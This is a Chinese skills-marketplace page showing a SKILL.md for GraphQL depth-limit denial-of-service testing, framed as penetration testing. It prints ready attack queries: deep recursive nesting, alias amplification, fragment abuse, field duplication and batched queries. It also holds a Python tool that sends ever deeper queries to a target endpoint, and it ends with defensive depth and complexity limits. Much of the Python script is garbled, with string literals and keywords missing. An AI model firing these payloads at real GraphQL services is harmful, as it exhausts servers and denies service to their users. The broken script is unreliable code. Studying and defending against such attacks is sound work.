用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/killvxk/cybersecurity-skills-zh --skill performing-graphql-depth-limit-attack命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
通过分析 Zeek dns.log 中的高熵子域名查询、超量查询量、超长查询长度以及异常 DNS 记录类型,检测 DNS 隧道和数据外泄中的隐蔽通道通信。适用于:当需要狩猎基于 DNS 的 C2 或数据外泄通道、调查异常 DNS 查询模式、或响应涉及 DNS 隧道工具(iodine、dnscat2、DNSExfiltrator)的威胁情报时使用。
实施 Google 的 BeyondCorp 零信任访问模型,通过 IAP、Access Context Manager 和 Chrome Enterprise Premium,消除网络边界的隐式信任,强制执行基于身份的访问控制,实现无 VPN 的安全应用访问。适用于将传统 VPN 替换为零信任架构、部署 Identity-Aware Proxy、配置设备信任策略、或为远程办公实施上下文感知访问控制时使用。
在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。
基于 SOC 职业分类
正在显示 SKILL.md
| name | performing-graphql-depth-limit-attack |
| description | 使用深度嵌套递归查询执行和测试 GraphQL 深度限制攻击,以识别 GraphQL API 中的拒绝服务(DoS)漏洞。 |
| domain | cybersecurity |
| subdomain | api-security |
| tags | ["graphql","depth-limit","denial-of-service","nested-queries","api-security","query-complexity","resource-exhaustion","penetration-testing"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
GraphQL 深度限制攻击利用 GraphQL Schema 的递归特性,构造深度嵌套的查询来消耗过多的服务器资源,从而导致拒绝服务(DoS)。与具有固定端点的 REST API 不同,GraphQL 允许客户端请求任意数据结构。当 Schema 包含循环关系时(例如 User -> Posts -> Author -> Posts),攻击者可以创建无限递归的查询,使服务器的 CPU、内存、数据库连接和网络带宽超负荷。
当 GraphQL Schema 存在双向关系时,查询可以递归引用这些关系:
# 具有循环引用的 Schema:
# type User { posts: [Post] }
# type Post { author: User }
# 使用过度嵌套深度的攻击查询
query DepthAttack {
users {
posts {
author {
posts {
author {
posts {
author {
posts {
author {
posts {
author {
posts {
title
author {
name
}
}
}
}
}
}
}
}
}
}
}
}
}
}
当批量查询被阻断时,别名可以在单个查询中将相同的字段请求倍增:
query AliasAmplification {
a1: user(id: 1) { posts { author { name } } }
a2: user(id: 1) { posts { author { name } } }
a3: user(id: 1) { posts { author { name } } }
a4: user(id: 1) { posts { author { name } } }
a5: user(id: posts author name
user posts author name
user posts author name
user posts author name
user posts author name
user posts author name
Fragment 可以更高效地构建复杂的深度嵌套查询:
fragment UserFields on User {
name
email
posts {
title
comments {
body
author {
...NestedUser
}
}
}
}
fragment NestedUser on User {
name
posts {
title
author {
name
posts {
title
author {
name
}
}
}
}
}
query FragmentAttack {
users {
...UserFields
}
}
在选择集中重复同一字段多次会增加处理负担:
query FieldDuplication {
user(id: 1) {
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
}
}
在单个 HTTP 请求中发送多个查询:
[
{"query": "{ users { posts { author { name } } } }"},
{"query": "{ users { posts { author { name } } } }"},
{"query": "{ users { posts { author { name } } } }"},
{"query": "{ users { posts { author { name } } } }"},
{"query": "{ users { posts { author { name } } } }"}
]
#!/usr/bin/env python3
"""GraphQL 深度限制攻击测试工具
通过发送递进式深度嵌套查询,测试 GraphQL 端点的深度限制漏洞。
"""
import requests
import time
import json
import sys
from typing import Optional
class GraphQLDepthTester:
def __init__(self, endpoint: str, headers: Optional[dict] = None):
self.endpoint = endpoint
self.headers = headers or {"Content-Type": "application/json"}
self.results = []
def generate_nested_query(self, depth: int, field_a: str = "posts",
field_b: str = "author",
leaf_field: str = "name") -> str:
"""生成指定深度的递归嵌套 GraphQL 查询。"""
query = "{ users { "
for i in range(depth):
if i % 2 == 0:
query += f"{field_a} {{ "
else:
query += f"{field_b} {{ "
query += leaf_field
query += * (depth + )
query +=
query
() -> :
aliases = []
i (count):
aliases.append()
+ .join(aliases) +
() -> :
payload = json.dumps({: query})
start_time = time.time()
:
response = requests.post(
.endpoint,
data=payload,
headers=.headers,
timeout=timeout
)
elapsed = time.time() - start_time
{
: response.status_code,
: (elapsed, ),
: (response.content),
: response.json() response.status_code == ,
: ._extract_error(response),
: response.status_code == response.json()
}
requests.exceptions.Timeout:
elapsed = time.time() - start_time
{
: ,
: (elapsed, ),
: ,
: ,
: ,
:
}
requests.exceptions.ConnectionError:
{
: ,
: ,
: ,
: ,
: ,
:
}
() -> :
:
data = response.json()
data:
data[][].get(, )
(json.JSONDecodeError, IndexError, KeyError):
():
()
()
( * )
depth (, max_depth + ):
query = .generate_nested_query(depth)
result = .send_query(query)
result[] = depth
.results.append(result)
status = result[]
(
)
result[] result[].lower():
()
()
depth
result[] == :
()
depth
()
():
alias_counts :
alias_counts = [, , , , , ]
()
inner =
count alias_counts:
query = .generate_alias_query(count, inner)
result = .send_query(query)
status = result[]
(
)
() -> :
successful = [r r .results r[]]
blocked = [r r .results r[]]
max_successful_depth = ([r[] r successful], default=)
{
: .endpoint,
: (.results),
: (successful),
: (blocked),
: max_successful_depth,
: (blocked) > ,
: max_successful_depth >
max_successful_depth >
}
__name__ == :
endpoint = sys.argv[] (sys.argv) >
tester = GraphQLDepthTester(endpoint)
tester.test_depth_limits(max_depth=)
tester.test_alias_amplification()
report = tester.generate_report()
()
()
()
key, value report.items():
()
// 使用 graphql-depth-limit(Node.js)
const depthLimit = require('graphql-depth-limit');
const server = new ApolloServer({
typeDefs,
resolvers,
validationRules: [depthLimit(5)]
});
// 使用 graphql-query-complexity
const { createComplexityRule } = require('graphql-query-complexity');
const complexityRule = createComplexityRule({
maximumComplexity: 1000,
estimators: [
fieldExtensionsEstimator(),
simpleEstimator({ defaultComplexity: 1 })
],
onComplete: (complexity) => {
console.log('查询复杂度:', complexity);
}
});
# 服务器端超时配置
GRAPHQL_CONFIG = {
"max_depth": 5,
"max_complexity": 1000,
"max_aliases": 10,
"query_timeout_seconds": 10,
"max_batch_size": 5,
"rate_limit_per_minute": 100
}